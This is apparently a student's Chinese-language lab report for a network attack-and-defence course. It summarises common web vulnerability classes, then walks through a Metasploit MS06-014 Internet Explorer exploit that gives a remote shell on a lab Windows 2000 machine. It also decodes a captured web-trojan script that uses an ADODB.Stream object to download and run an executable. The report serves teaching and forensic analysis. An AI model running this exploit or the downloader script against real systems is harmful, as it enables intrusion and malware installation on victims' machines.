20212937 曾俊铭 2021-2022-2 《网络攻防实践》实践报告
20212937 曾俊铭 2021-2022-2 《网络攻防实践》实践报告
1.实践内容
SQL注入漏洞原理
参数是用户可控的,也就是前端传入后端的参数的内容是用户可以控制的;
参数被带入数据库进行查询,也就是传入的参数被拼接到SQL语句中,并且被带入到数据库进行查询;
xss漏洞原理
由于程序员在编写代码时,未对用户输入的数据进行处理、或者处理不当,从而导致恶意payload代码被执行。 简单来说是对非预期输入的过分信任!
CSRF漏洞原理
利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。通常由于服务端没有对请求头做严格过滤引起的。
SSRF漏洞原理
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制
XXE漏洞原理
由于服务端未对提交的xml的数据中引入外部实体做必要的处理,而在外部实体中引入php伪协议从而造成的攻击。
文件包含漏洞原理
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
文件上传漏洞原理
上传的过程中如果对用户上传的文件未校验或者校验不严格、过滤不严格,那么恶意用户就可以恶意修改上传文件的类型或者绕过上传限制,如果上传了木马文件,并且被服务器解析,那么就获取了该站点的webshell。
解析漏洞原理
web服务器因对http请求处理不当导致将非可执行的脚本,文件等当做可执行的脚本,文件等执行。
未授权访问漏洞原理
需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。
反序列化漏洞原理
程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。
代码执行漏洞原理
当应用在调用一些能将字符串转化成代码的函数时,没有考虑用是否能够控制这个字符串,
命令执行漏洞原理
应用有时需要调用一些执行系统命令的函数,没有对用户输入做严格的检查过滤,导致用户可以控制命令执行函数中的参数,将恶意系统命令注入到正常命令中,造成命令执行攻击
逻辑漏洞原理
应用程序执行的逻辑存在某种缺陷。大部分逻辑缺陷表现为开发者在思考过程中做出的特殊假设存在明显或隐含的错误,通俗点来说,有的开发者会这样认为,如果发生A,就会出现B,因此我执行C。没有考虑如果发生X会怎么样,这种错误的假设会造成许多安全漏洞。
实验要求:
(1)web浏览器渗透攻击
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
(2)取证分析实践—网页木马攻击场景分析
(3)攻防对抗实践—web浏览器渗透攻击攻防
2.实践过程
2.1 web浏览器渗透攻击
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
实验环境:
攻击机 Kali IP:192.168.200.2
靶机 Windows2kServer IP:192.168.200.3
使用Metasploit中的MS06-014渗透攻击模块。
打开kali,进入命令输入界面,输入命令msfconsole,打开metasploit,进入其控制界面。
输入命令search MS06-014搜索MS06-014漏洞,可以得到针对这个漏洞的渗透攻击模块。
接着输入命令use exploit/windows/browser/ie_createobject进入该渗透攻击模块。
选择PAYLOAD为任意远程Shell连接。
输入命令show payloads查看payloads。
输入命令set payload windows/shell/bind_tcp
运行exploit,构造出恶意网页木马脚本。
输入命令set Lhost 192.168.200.2,将kali设置本地IP为攻击机。
输入exploit开始攻击,恶意服务器建立。
在靶机win2k环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL。
在靶机环境中启动浏览器访问这个恶意URL:http://192.168.200.2:8080/Po3kpZx。
在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令。
回到攻击机上可以看到,一个靶机到攻击机的session被建立。
使用命令sessions 1 查看我们控制的主机为Windows 2000,版本为5.00.2195。
2.2 取证分析实践—网页木马攻击场景分析
①访问start.html,在这个文件中给出了new09.htm的地址。
用记事本打开start.html,分析发现在该网页嵌入了一个内联框架,指向了一个网页new09.htm,且该内联框架高度宽度为0,不易发现。从这两处可以看出start.html文件在引用new09.htm文件时没有写绝对路径,所以new09.htm文件与start.html文件在同一目录下。
查看new09.htm文件。
②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名。
new09.htm 文件中,用iframe引用了一个http://aa.18dd.net/aa/kl.htm文件,又用javascript引用了一个http://js.users.51.la/1299644.js文件。对它们分别作MD5散列:
③如果解密出的地址给出的是网页或脚本文件,请继续解密;如果解密出的地址是二进制程序文件,进行静态反汇编或动态调试;重复以上过程直到这些文件被全部分析完成。
在hashed文件夹下找到这两个文件:7f60672dcd6b5e90b6772545ee219bd3和23180a42a2ff1192150231b44ffdf3d3,用记事本打开:
第二个文件中不是我们想要的内容,第一个文件中的内容使用XXTEABase64加密方法,到加密密钥就在倒数第三行中:t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));将\x73\x63\x72\x69\x70\x74使用十六进制转字符串的操作,即可得到密钥script:
使用https://cycy.sourceforge.io/xxtea/进行XXTEABase64解密:在密钥一栏中填入“script”,在下面大的文本框中粘贴7f60672dcd6b5e90b6772545ee219bd3.txt文件的全部内容,点“解密”,文本框的内容变为:
完整内容如下:(一段代码)
然后对引号内的十六进制数进行转字符串的操作,便可以得到以下内容:
完整内容如下:
function init(){document.write();} window.onload = init; if(document.cookie.indexOf('OK')==-1){ try{var e; var ado=(document.createElement("object")); ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); var as=ado.createobject("Adodb.Stream","")} catch(e){}; finally{ var expires=new Date(); expires.setTime(expires.getTime()246060*1000); document.cookie='ce=windowsxp;path=/;expires='expires.toGMTString(); if(e!="[object Error]"){ document.write("
分析该代码,可以发现document.location加载payload,且下一行跟了一个可执行文件tppBbJMsCPXw.exe猜测该文件是通过之前的URL下载靶机上的。
打开靶机任务管理器查看正在运行的进程,可以发现上述可执行文件正在运行:
3.学习中遇到的问题及解决
-
问题1:查看SESSION失败
-
问题1解决方案:使用命令行 sessions 1
-
问题2:不知道如何十六进制转换文本字符
-
问题2解决方案:百度了一下,发现有很多转换器...
4.实践总结
这次的实验难度不小,还挺复杂,通过不断的失败,对WEB浏览器渗透攻击有了基本的了解,对木马病毒攻击分析也有了一些了解,但最近身体不好,高烧不断,情绪也是非常的低落,身体是革命的本钱,网络安全很重要,身体健康也很重要,期待赶紧好起来吧。